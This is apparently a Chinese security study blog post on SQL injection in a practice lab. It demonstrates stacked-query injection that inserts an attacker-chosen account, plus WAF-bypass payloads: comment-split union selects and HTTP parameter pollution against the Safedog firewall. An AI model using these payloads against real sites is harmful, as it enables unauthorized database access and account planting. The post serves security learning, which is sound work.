WEB漏洞—SQL注入之堆叠及WAF绕过注入

发布时间 2023-06-01 13:42:47作者: 执小汐

1、堆叠查询注入

stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。在sql语句中以 ; 结束语句
mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | 123        |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | 123456     |
| 15 | admin4'# | 123123     |
+----+----------+------------+

查询前

mysql> insert into users(id,username,password) values(9,'zhixi666',123);select * from users;
Query OK, 1 row affected (0.00 sec)

+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  9 | zhixi666 | 123        |
|  8 | admin    | 123        |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | 123456     |
| 15 | admin4'# | 123123     |
+----+----------+------------+

查询后,语句先插入一条用户信息,再查询。 

堆叠注入的用法:

#注入需要管理员的账号密码,密码是加密的,无法解密

#堆叠注入在用户表中插入数据,用户密码自定义可以无需解密实施登录 

 

2.WAF

 

 部署好安全狗后,尝试注入被拦截

这里将后台修改提交方式为request,采用post提交

页面显示正常,尝试联合注入

这里想获取数据库但被拦截了,利用mysql数据库特性,绕过

id=-1 union select 1,database/**/(),3

 

http参数污染

利用参数污染来导致网站和安全狗接受数据的不一致性,实现绕过的操作。

当get方式进行传参时,经过&符号传入多个参数,WAF可能只检测第一个参数的值,然后台却检测最后一个传入的值,此时能够绕过WAF的防护

?id=1/**&id=-1 union select 1,database(),3 #*/ 

安全狗收到的:  1/**&id=-1 union select 1,database(),3 #*/        

被注释,没法执行,安全狗会忽略

网站收到的:  -1 union select 1,database(),3 #*/      

被带入执行,但现在已经无法绕过了。。

很多的绕过方法都没有成功,下面不在演示,等到复习的时候在深入了解